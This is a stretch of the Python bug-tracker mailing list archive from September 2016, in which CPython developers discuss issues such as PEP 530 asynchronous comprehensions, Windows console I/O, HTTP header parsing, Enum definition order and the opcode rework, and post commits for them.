Roundup Robot added the comment:

New changeset cf91a929b81a by Yury Selivanov in branch 'default':
Issue #28008: Implement PEP 530 -- asynchronous comprehensions.
https://hg.python.org/cpython/rev/cf91a929b81a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:36:34 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 17:36:34 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <1473442594.84.0.394817523379.issue28008@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Committed. Thank you Victor for the review.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:36:46 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 17:36:46 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <1473442605.99.0.391659840092.issue28008@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:58:34 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 17:58:34 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
Message-ID: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>


New submission from Zachary Ware:

As a follow-on to #28027, the attached patch removes the concept of platform-specific directories (Lib/plat-darwin, Lib/plat-x86_64-linux-gnu, etc).  I believe this should be fine for cross-builds (at least as fine as the previous solution for _sysconfigdata), but I'd like someone to test it for me since I have no experience with cross-builds.

----------
assignee: zach.ware
components: Build, Cross-Build
files: remove_plat.diff
keywords: patch
messages: 275360
nosy: Alex.Willmer, doko, ned.deily, xdegaye, zach.ware
priority: normal
severity: normal
stage: patch review
status: open
title: Remove the concept of platform-specific directories
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44506/remove_plat.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 13:58:37 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 17:58:37 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <1473443917.74.0.99681286716.issue28008@psf.upfronthosting.co.za>


STINNER Victor added the comment:

You are not done yet :-)

http://buildbot.python.org/all/builders/s390x%20SLES%203.x/builds/1762/steps/test/logs/stdio

======================================================================
FAIL: test_files (test.test_tools.test_unparse.DirectoryTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/dje/cpython-buildarea/3.x.edelsohn-sles-z/build/Lib/test/test_tools/test_unparse.py", line 297, in test_files
    self.check_roundtrip(source)
  File "/home/dje/cpython-buildarea/3.x.edelsohn-sles-z/build/Lib/test/test_tools/test_unparse.py", line 132, in check_roundtrip
    self.assertASTEqual(ast1, ast2)
  File "/home/dje/cpython-buildarea/3.x.edelsohn-sles-z/build/Lib/test/test_tools/test_unparse.py", line 124, in assertASTEqual
    self.assertEqual(ast.dump(ast1), ast.dump(ast2))
AssertionError: 'Modu[156588 chars]sync=1)]))], decorator_list=[], returns=None),[36372 chars]])])' != 'Modu[156588 chars]sync=0)]))], decorator_list=[], returns=None),[36372 chars]])])'

----------------------------------------------------------------------

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:00:28 2016
From: report at bugs.python.org (Eryk Sun)
Date: Fri, 09 Sep 2016 18:00:28 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473444028.03.0.0848176343777.issue1602@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Martin, the console should be in line-input mode, in which case ReadConsole will block if there isn't at least one line in the input buffer. It reads up to the lesser of a complete line or the number of UTF-16 codes requested. If the previous call read the entire request size but didn't stop on '\n', then we know the next call shouldn't block because the input buffer has at least one '\n' in it.

> I can validate that we can open the console IO object from 
> 0, 1, 2, "CON", "CONIN$" and "CONOUT$", get fileno(), check
> readable()/writable() and close (multiple times without 
> crashing).

I like the idea to have fileno() lazily get a file descriptor on demand, but _open_osfhandle is a low I/O function that uses _open flags -- not 'rb' (int 0x7262) or 'wb' (int 0x7762). ;-)

You can use _O_RDONLY | _O_BINARY or _O_WRONLY | _O_BINARY. But really those values would be ignored anyway. It's not actually opening the file, so it only cares about a few flags. Specifically, in lowio\osfinfo.cpp I see that it looks for _O_APPEND, _O_TEXT, and _O_NOINHERIT. 

On line 329, the following assignment

        if (self->writable)
            access |= GENERIC_WRITE;

should be `access = GENERIC_WRITE`. Requesting both read and write access is an invalid parameter when opening "CON", as can be seen here:

    >>> f = open('CON', 'wb', buffering=0)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    OSError: [WinError 87] The parameter is incorrect: 'CON'

CONOUT$ works, of course:

    >>> f = open('CONOUT$', 'wb', buffering=0)
    >>> f
    <_io._WindowsConsoleIO mode='wb' closefd=True>

Lastly, for a readall that starts with ^Z, you're still breaking out of the loop before incrementing len, which is thus 0 when subsequently checked. It ends up calling WideCharToMultiByte with len == 0, which fails.

    >>> sys.stdin.buffer.raw.read()
    ^Z
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    OSError: [WinError 87] The parameter is incorrect

> I can't actually come up with many useful tests for this... 

ctypes can be used to write to the input buffer and read from a screen buffer. For the latter it helps to first create and activate a scratch screen buffer, initialized to NULs to make it easy to read back everything that was written up to the current cursor position. I have existing ctypes code for this, written to solve the problem of a subprocess that stubbornly writes directly to the console instead of writing to stdout/stderr pipes.

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:01:07 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 18:01:07 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473444066.99.0.504423193322.issue28046@psf.upfronthosting.co.za>


STINNER Victor added the comment:

You might also remove  Lib/_sysconfigdata.py from .gitignore.

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:04:15 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 09 Sep 2016 18:04:15 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <1473444255.07.0.968381534609.issue26331@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I'll get this committed today (patch still applies and passes the tests, so it should only take addressing the review comments and the What's New entry).

----------
assignee:  -> brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:06:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 18:06:52 +0000
Subject: [issue26132] 2.7.11 Windows Installer issues on Win2008R2
In-Reply-To: <1452953562.0.0.729045756058.issue26132@psf.upfronthosting.co.za>
Message-ID: <20160909180648.1920.3591.A3A7F5B8@psf.io>


Roundup Robot added the comment:

New changeset 313ae9926889 by Steve Dower in branch '2.7':
Issue #26132: Only adds manifest to executables and main DLL.
https://hg.python.org/cpython/rev/313ae9926889

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26132>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:08:18 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 18:08:18 +0000
Subject: [issue26132] 2.7.11 Windows Installer issues on Win2008R2
In-Reply-To: <1452953562.0.0.729045756058.issue26132@psf.upfronthosting.co.za>
Message-ID: <1473444498.32.0.604410353684.issue26132@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26132>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:09:19 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:09:19 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473444559.3.0.557278516841.issue24363@psf.upfronthosting.co.za>


R. David Murray added the comment:

I think you can greatly simplify this code by using BytesFeedParser and feeding the input to it line by line.  You don't need to gather the headers first, since you control how much you read and how much you send to the parser.  The change to email is then the handling of lines without colons.  The simplest fix is to add a policy control for whether a line-that-doesn't-look-like-a-header is considered part of the preceding header or treated as part of the body (or, to put it another way, do we really only believe the body starts after a blank line or not).  You can make that a setting on Policy, and derive the policy used here in http from Compat32, so as to otherwise minimize the behavior changes.  If we can't get this done by the beta cutoff on Monday, we can make the new policy setting start with an '_' in 3.6, since the point here is the bug fix, not the feature; and then make it public in 3.7 (since I think it is useful for more than just http).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:10:29 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Fri, 09 Sep 2016 18:10:29 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473444629.65.0.86840226795.issue24363@psf.upfronthosting.co.za>


Changes by Senthil Kumaran <senthil at uthcode.com>:


----------
nosy: +orsenthil

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:11:39 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 09 Sep 2016 18:11:39 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <1473444699.87.0.512986828045.issue27080@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Since Brett is working on the parsing part, I'll work on this. I might take a stab at the documentation first, but in any event I'll commit it tonight.

----------
assignee:  -> eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:11:58 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:11:58 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473444718.91.0.410304130843.issue24363@psf.upfronthosting.co.za>


R. David Murray added the comment:

I'm not sure it is a good idea to backport this to 2.7, but if you want to, the same fix can be made in a more hackish way on 2.7 by putting a private variable on FeedParser to control the header parsing behavior.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:12:10 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 18:12:10 +0000
Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip
In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za>
Message-ID: <1473444730.31.0.924049201598.issue27874@psf.upfronthosting.co.za>


Steve Dower added the comment:

For 3.6 I've changed this behaviour fairly significantly. See https://docs.python.org/3.6/using/windows.html#finding-modules for the new docs on the 'sys.path' file (name subject to change, but I like the parallel :) )

The embedded distro will include a default sys.path file with "python36.zip" and "." in it, which will omit the other entries. It's not ideal for "portable terminal" use as it enables isolated mode by default, but it's perfect for embedding.

I think I'll also make pythonXX.zip a landmark file (currently only Lib\os.py is checked), so that we default to the current path if the zip file is there.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27874>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:14:24 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:14:24 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473444864.97.0.173561266704.issue24363@psf.upfronthosting.co.za>


R. David Murray added the comment:

Hmm.  Or maybe the latin-1 decode and FeedParser is better, since with BytesFeedParser and non-ascii you get Header objects, which you don't want.  Either way, there's no TextIOWrapper involved.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:22:01 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:22:01 +0000
Subject: [issue25573] FrameSummary repr() does not support previously working
 uses of repr in traceback module
In-Reply-To: <1446845666.11.0.0803768990935.issue25573@psf.upfronthosting.co.za>
Message-ID: <1473445321.93.0.843474377178.issue25573@psf.upfronthosting.co.za>


R. David Murray added the comment:

Ah, I see there is.  It is read lazily.  It is an interesting question whether it should be read when the repr is printed...let's say no until/unless someone comes up with a good reason why it would be worthwhile.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25573>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:23:52 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 18:23:52 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473445432.25.0.431575607721.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Please wait. I just have sat down at my computer.

Can you please give me a status and/or an ETA? This change is blocking me for 2 more changes.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:25:05 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:25:05 +0000
Subject: [issue28047] email set_content does not always use the correct line
 length for the base64 CTE
Message-ID: <1473445505.37.0.31180930974.issue28047@psf.upfronthosting.co.za>


New submission from R. David Murray:

The per-line character count is calculated incorrectly, such that some specified line lengths result in padding being added to each line, which is incorrect and breaks subsequent decoding.

----------
messages: 275373
nosy: r.david.murray
priority: normal
severity: normal
status: open
title: email set_content does not always use the correct  line length for the base64 CTE

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28047>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:25:20 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:25:20 +0000
Subject: [issue28047] email set_content does not always use the correct line
 length for the base64 CTE
In-Reply-To: <1473445505.37.0.31180930974.issue28047@psf.upfronthosting.co.za>
Message-ID: <1473445520.32.0.820717857418.issue28047@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
assignee:  -> r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28047>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:25:27 2016
From: report at bugs.python.org (Eric Snow)
Date: Fri, 09 Sep 2016 18:25:27 +0000
Subject: [issue16221] tokenize.untokenize() "compat" mode misses the encoding
 when using an iterator
In-Reply-To: <1350192416.31.0.110132465833.issue16221@psf.upfronthosting.co.za>
Message-ID: <1473445527.37.0.9435432425.issue16221@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
assignee: eric.snow -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16221>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:25:44 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:25:44 +0000
Subject: [issue28047] email set_content does not always use the correct line
 length for the base64 CTE
In-Reply-To: <1473445505.37.0.31180930974.issue28047@psf.upfronthosting.co.za>
Message-ID: <1473445544.66.0.522923247343.issue28047@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
components: +email
nosy: +barry
stage:  -> needs patch
type:  -> behavior
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28047>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:26:38 2016
From: report at bugs.python.org (Ethan Furman)
Date: Fri, 09 Sep 2016 18:26:38 +0000
Subject: [issue28048] Adjust class-build method of Enum so final ordered dict
 more closely resembles definition order
Message-ID: <1473445598.15.0.0178037460772.issue28048@psf.upfronthosting.co.za>


New submission from Ethan Furman:

With the landing of ordered class namespaces the build order for Enum needs to be redone to at least keep the user-specified pieces' relative order intact:

>>> from enum import Enum
>>> class Color(Enum):
...   red = 1
...   blue = 2
...   green = 3
...   def primary(self):
...     return True
... 
>>> Color.__dict__.keys()
dict_keys(['_generate_next_value_', '__module__', 'primary', '__doc__', '_member_names_', '_member_map_', '_member_type_', '_value2member_map_', 'red', 'blue', 'green', '__new__'])

----------
assignee: ethan.furman
messages: 275374
nosy: barry, eli.bendersky, ethan.furman
priority: normal
severity: normal
stage: test needed
status: open
title: Adjust class-build method of Enum so final ordered dict more closely resembles definition order
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28048>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:30:44 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 18:30:44 +0000
Subject: [issue25573] FrameSummary repr() does not support previously working
 uses of repr in traceback module
In-Reply-To: <1446845666.11.0.0803768990935.issue25573@psf.upfronthosting.co.za>
Message-ID: <1473445844.92.0.183610416904.issue25573@psf.upfronthosting.co.za>


R. David Murray added the comment:

I take it back.  Since tuple(framesummary) produces all four elements, I think the repr should too.  Likewise, in the __len__ issue I think it should always report 4.

Let see if other devs agree.

----------
resolution: fixed -> 
stage: resolved -> needs patch
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25573>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:32:34 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 09 Sep 2016 18:32:34 +0000
Subject: [issue22544] Inconsistent cmath.log behaviour
In-Reply-To: <1412320697.54.0.866089400402.issue22544@psf.upfronthosting.co.za>
Message-ID: <1473445954.31.0.639821673152.issue22544@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Closing as "won't fix". Two-argument log is already a rather unnatural beast to have in the cmath module, and I find it hard to imagine any real-world use-case caring about what happens for two-argument complex log applied to infinities or nans.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22544>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:35:41 2016
From: report at bugs.python.org (Ethan Furman)
Date: Fri, 09 Sep 2016 18:35:41 +0000
Subject: [issue27672] x format of % operator broken in Python 3.5.2
In-Reply-To: <1470223123.65.0.568086751938.issue27672@psf.upfronthosting.co.za>
Message-ID: <1473446141.2.0.0470743148285.issue27672@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
title: x fromat of % operator broken in Python 3.5.2 -> x format of % operator broken in Python 3.5.2

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27672>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:38:53 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 09 Sep 2016 18:38:53 +0000
Subject: [issue14976] queue.Queue() is not reentrant,
 so signals and GC can cause deadlocks
In-Reply-To: <1338540186.86.0.989988943379.issue14976@psf.upfronthosting.co.za>
Message-ID: <1473446333.63.0.654592044643.issue14976@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Guido opposes having us going down the path of using an RLock and altering the queue module to cope with reentrancy. 

In the case of mixing signals with threads, we all agree with Johan Aires Rast?n that "using locks with interrupts is in general a very difficult problem and not limited to Python", nor is it even limited to the queue module.  

I believe that the usual technique for mixing signals and threads is to have the signal handler do the minimal work necessary to record the event without interacting with the rest of the program.  Later, another thread can act on the recorded signal but can do so with normal use of locks so that code invariants are not violated.  This design makes reasoning about the program more tractable.

----------
nosy: +davin
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14976>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:40:36 2016
From: report at bugs.python.org (Ethan Furman)
Date: Fri, 09 Sep 2016 18:40:36 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473446436.76.0.279168781086.issue27350@psf.upfronthosting.co.za>


Ethan Furman added the comment:

What affect will this have with hash randomization?

----------
nosy: +ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:40:51 2016
From: report at bugs.python.org (Michael Lee)
Date: Fri, 09 Sep 2016 18:40:51 +0000
Subject: [issue28049] Add documentation for typing.Awaitable and friends
Message-ID: <1473446451.47.0.453913099768.issue28049@psf.upfronthosting.co.za>


New submission from Michael Lee:

This patch adds documentation for Awaitable, AsyncIterable, and AsyncIterator to the typing module, mostly linking to the corresponding class in collections.abc.

It also briefly clarifies the documentation on generators to explain that you may use either Iterable or Iterator as the return type of a generator.

----------
assignee: docs at python
components: Documentation
files: document-awaitable.patch
keywords: patch
messages: 275379
nosy: docs at python, gvanrossum, michael0x2a
priority: normal
severity: normal
status: open
title: Add documentation for typing.Awaitable and friends
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44507/document-awaitable.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28049>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:41:34 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 18:41:34 +0000
Subject: [issue26455] Inconsistent behavior with KeyboardInterrupt and asyncio
 futures
In-Reply-To: <1456689026.99.0.0359024900858.issue26455@psf.upfronthosting.co.za>
Message-ID: <1473446494.3.0.405204305573.issue26455@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Closing this issue in favor of the upstream one: https://github.com/python/asyncio/issues/341

----------
resolution:  -> third party
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26455>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:44:49 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 18:44:49 +0000
Subject: [issue26619] 3.5.1 install fails on Windows Server 2008 R2 64-bit
In-Reply-To: <1458730062.68.0.427600390263.issue26619@psf.upfronthosting.co.za>
Message-ID: <20160909184446.48384.22374.CB9A050D@psf.io>


Roundup Robot added the comment:

New changeset a95e2a43b09b by Steve Dower in branch '3.5':
Issue #26619: Improves error message when installing on out-of-date Windows Server
https://hg.python.org/cpython/rev/a95e2a43b09b

New changeset fbb4aa1fcc47 by Steve Dower in branch 'default':
Issue #26619: Improves error message when installing on out-of-date Windows Server
https://hg.python.org/cpython/rev/fbb4aa1fcc47

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26619>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:46:53 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 18:46:53 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473446813.04.0.801750747212.issue27350@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> What affect will this have with hash randomization?

Hash randomization is still used and useful to avoid the hash DoS.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:48:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 18:48:06 +0000
Subject: [issue22731] test_capi test fails because of mismatched newlines
In-Reply-To: <1414355323.22.0.739956006711.issue22731@psf.upfronthosting.co.za>
Message-ID: <20160909184802.87325.92742.5D3B0CC5@psf.io>


Roundup Robot added the comment:

New changeset b31e803d5ad3 by Steve Dower in branch '3.5':
Closes #22731: Documents change of console mode.
https://hg.python.org/cpython/rev/b31e803d5ad3

New changeset e93a8088a1f9 by Steve Dower in branch 'default':
Closes #22731: Documents change of console mode.
https://hg.python.org/cpython/rev/e93a8088a1f9

----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22731>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:48:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 18:48:48 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <20160909184844.1774.52771.A0EEA99D@psf.io>


Roundup Robot added the comment:

New changeset 223c134af5a1 by Yury Selivanov in branch 'default':
Issue #28008: Fix test_unparse
https://hg.python.org/cpython/rev/223c134af5a1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:49:16 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 18:49:16 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <1473446956.1.0.788911403584.issue28008@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Should be fixed now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:49:24 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 18:49:24 +0000
Subject: [issue26619] 3.5.1 install fails on Windows Server 2008 R2 64-bit
In-Reply-To: <1458730062.68.0.427600390263.issue26619@psf.upfronthosting.co.za>
Message-ID: <1473446964.61.0.124411090413.issue26619@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'm assuming this was just a poor error message, as the version numbers all lined up correctly. There are now server-specific errors.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26619>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:50:21 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 18:50:21 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1473445432.25.0.431575607721.issue27213@psf.upfronthosting.co.za>
Message-ID: <5969444.JMpyexYeX2@xarax>


Serhiy Storchaka added the comment:

I just fixed test_extcall and test_traceback, and going to get rid of the 
duplication in _PyEval_EvalCodeWithName. I need maybe a hour or two.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:52:34 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 18:52:34 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473447153.99.0.501312935668.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> I just fixed test_extcall and test_traceback, and going to get rid of the  duplication in _PyEval_EvalCodeWithName. I need maybe a hour or two.

What do you mean? I already fixed test_extcall and code duplication?

"I fixed test_extcall and removed _PyEval_EvalCodeWithName2(): callfunc-8.patch."

I proposed to skip the failing test in test_traceback and fix it after the beta release, I don't think that it's a major issue, it can be fixed later.

Can you please push callfunc-8.patch right now (skipping failing tests in test_traceback).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:54:47 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 18:54:47 +0000
Subject: [issue28049] Add documentation for typing.Awaitable and friends
In-Reply-To: <1473446451.47.0.453913099768.issue28049@psf.upfronthosting.co.za>
Message-ID: <20160909185444.8568.96230.DB1B2792@psf.io>


Roundup Robot added the comment:

New changeset eba19d4b2944 by Guido van Rossum in branch 'default':
Issue #28049: Add documentation for typing.Awaitable and friends.
https://hg.python.org/cpython/rev/eba19d4b2944

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28049>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:55:46 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 18:55:46 +0000
Subject: [issue28049] Add documentation for typing.Awaitable and friends
